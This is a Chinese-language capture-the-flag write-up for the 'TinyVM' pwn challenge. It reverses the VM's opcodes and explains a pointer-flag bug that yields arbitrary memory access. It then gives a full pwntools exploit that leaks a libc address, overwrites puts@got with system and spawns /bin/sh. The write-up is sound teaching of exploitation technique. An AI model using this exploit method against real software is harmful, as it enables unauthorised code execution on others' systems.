TinyVM
已完成 PWN Medium 200 分
题目描述:tiny vm
第一次做 CTF VM 题,这里我修改了几个变量名
code // 用户输入的字节码
code_len // 字节码长度
pc // 当前执行到 code 的哪个位置
regs_type // 寄存器类型区
regs_val // 寄存器值区
cmp_flag // 比较结果标志
mem_0x100_ // VM 自己的一块 0x100 字节内存
来分析一下 func(int code_len) 函数,该函数功能概括来说,就是从 code[0] 开始,一字节一字节读取 opcode,然后根据 opcode 执行不同操作
关键 opcode:
- 0x10: mov reg, imm32
- 0x20: add dst, src
- 0x30: ptr reg, mem[offset]
- 0x31: load dst, [ptr]
- 0x32: store [ptr], src
- 0x40: 打印寄存器
- 0x41: 从 stdin 读数字
- 0x50: 写 qword 到 VM 内存
- 0x60: puts(ptr)
- 0xff: halt
先定义 opcode 函数
# 0x10 reg imm32
# regs[reg].type = 0;
# regs[reg].val = imm32;
# 这里用 p32(..., signed=True) 支持负数
def mov(reg, imm):
return p8(0x10) + p8(reg) + p32(imm, signed=True)
# 0x20 dst src
# regs[dst].val += regs[src].val;
def add(dst, src):
return p8(0x20) + p8(dst) + p8(src)
# 0x30 reg offset
# regs[reg].type = 1;
# regs[reg].val = MEM + offset;
def load_ptr(reg, off):
return p8(0x30) + p8(reg) + p8(off)
# 0x31 dst ptr
# regs[dst].type = 0;
# regs[dst].val = *(uint64_t *)regs[ptr].val;
def load(dst, ptr):
return p8(0x31) + p8(dst) + p8(ptr)
# 0x32 ptr src
# *(uint64_t *)regs[ptr].val = regs[src].val;
def store(ptr, src):
return p8(0x32) + p8(ptr) + p8(src)
# 0x50 src offset
# *(uint64_t *)(MEM + offset) = regs[src].val;
def write_mem_qword(src, off):
return p8(0x50) + p8(src) + p8(off)
# 0x40 reg
# if regs[reg].type == 1:
# printf("@%p\n", regs[reg].val);
# else:
# printf("0x%lx\n", regs[reg].val);
def print_reg(reg):
return p8(0x40) + p8(reg)
# 0x41 reg
# fgets(s, 32, stdin);
# regs[reg].type = 0;
# regs[reg].val = strtoull(s, 0, 0);
def read_num(reg):
return p8(0x41) + p8(reg)
# 0x60 reg
# puts((char *)regs[reg].val);
def call_ptr(reg):
return p8(0x60) + p8(reg)
# 0xff
def halt():
return p8(0xFF)
那么我们可以发现, load_ptr 本来只能得到 VM 内存里的指针,比如 MEM + 0 ,但是 add 等指令不会清除 pointer 标记
利用时:
- 构造指针到 printf@got
- load + print 泄露 printf libc 地址
- 脚本计算 system
- VM 读入 system 地址
- 构造指针到 puts@got,写成 system
- 在 VM 内存写入 /bin/sh\x00
- 执行 VM 的 CALL,实际变成 system("/bin/sh")
所以可以先让 r0 = MEM ,再让 r0 += printf@got - MEM ,这样 r0.val = printf@got ,但是 r0.type 仍然是 1 ,于是就绕过了 VM 对指针的限制,构造出了一个任意地址的指针
payload 如下:
code += load_ptr(0, 0)
# r0.type = 1;
# r0.val = MEM + 0;
code += mov(1, elf.got["printf"] - MEM)
# r1.type = 0;
# r1.val = printf@got - MEM;
code += add(0, 1)
# r0.val += r1.val;
于是现在:
r0.type = pointer;
r0.val = &printf@got;
接下来我们来泄露 printf 的真实地址
code += load(1, 0)
code += print_reg(1)
code += read_num(2)
那么 r1 = *(uint64_t *)printf@got; ,由于 GOT 表里存的是函数真实地址,所以
r1.val = printf 的 libc 真实地址;
r1.type = 0;
code += print_reg(1) 打印 libc 里的 printf 地址
code += read_num(2) 这条指令会让 VM 等待用户输入一行数字,然后放入 r2 ,这里我们让 r2 = system 地址;
现在我们让 r0 从 printf@got 移动到 puts@got,然后往 puts@got 写 system 地址
code += mov(1, elf.got["puts"] - elf.got["printf"])
# r1 = puts@got - printf@got;
code += add(0, 1)
# r0.val = printf@got + (puts@got - printf@got);
code += store(0, 2)
# *(uint64_t *)r0.val = r2.val;
# *(uint64_t *)puts@got = system;
之后程序中只要调用 puts(x) 实际就会跳到 system(x) ,即 GOT 表劫持
然后在 VM 内存里写入 "/bin/sh\x00" ,意思是在 MEM = 0x4050C0 这里写字符串:
"/bin/sh\x00"
最终内存布局要变成:
0x4050C0: 2f 62 69 6e 2f 73 68 00
/ b i n / s h \0
code += mov(2, u32(b"/bin"))
code += write_mem_qword(2, 0)
code += mov(2, u32(b"/sh\x00"))
code += write_mem_qword(2, 4)
u32(b"/bin") 把 4 字节字符串转成整数,即 r2 = 0x6e69622f;
code += write_mem_qword(2, 0) 对应 VM 为 *(uint64_t *)(MEM + 0) = r2.val; ,写入后 MEM+0: / b i n \0 \0 \0 \0 ,后两句同理
最后调用 puts("/bin/sh"),get shell
code += load_ptr(3, 0)
# r3.type = 1;
# r3.val = MEM + 0;
# r3.val = "/bin/sh" 的地址
code += call_ptr(3)
整理一下最终脚本
from pwn import *
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
HOST = "17afc243.tcp-ctf2.dasctf.com"
PORT = 9999
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
LD = "./ld-linux-x86-64.so.2"
MEM = 0x4050C0
io = process('./pwn')
# io = remote(HOST,PORT)
def mov(reg, imm):
return p8(0x10) + p8(reg) + p32(imm, signed=True)
def add(dst, src):
return p8(0x20) + p8(dst) + p8(src)
def load_ptr(reg, off):
return p8(0x30) + p8(reg) + p8(off)
def load(dst, ptr):
return p8(0x31) + p8(dst) + p8(ptr)
def store(ptr, src):
return p8(0x32) + p8(ptr) + p8(src)
def write_mem_qword(src, off):
return p8(0x50) + p8(src) + p8(off)
def print_reg(reg):
return p8(0x40) + p8(reg)
def read_num(reg):
return p8(0x41) + p8(reg)
def call_ptr(reg):
return p8(0x60) + p8(reg)
def halt():
return p8(0xFF)
code = b""
# r0 = &printf@got
code += load_ptr(0, 0)
code += mov(1, elf.got["printf"] - MEM)
code += add(0, 1)
# Leak printf
code += load(1, 0)
code += print_reg(1)
code += read_num(2)
# r0 = &puts@got, then overwrite it with system
code += mov(1, elf.got["puts"] - elf.got["printf"])
code += add(0, 1)
code += store(0, 2)
# Build "/bin/sh\x00" in VM memory
code += mov(2, u32(b"/bin"))
code += write_mem_qword(2, 0)
code += mov(2, u32(b"/sh\x00"))
code += write_mem_qword(2, 4)
# system("/bin/sh")
code += load_ptr(3, 0)
code += call_ptr(3)
assert len(code) <= 512
io.sendlineafter(b"Size: ", str(len(code)).encode())
io.send(code)
io.recvuntil(b"0x")
leak = int(io.recvn(12),16)
log.success("leak = " + hex(leak))
libc_base = leak - libc.sym["printf"]
log.success("libc_base = " + hex(libc_base))
system = libc_base + libc.sym['system']
io.sendline(hex(system).encode())
io.interactive()
一个小 tips
%lx 的意思是,以十六进制打印 unsigned long 类型整数
在 Linux amd64 下 sizeof(unsigned long) == 8 也就是刚好可以打印一个 64 位地址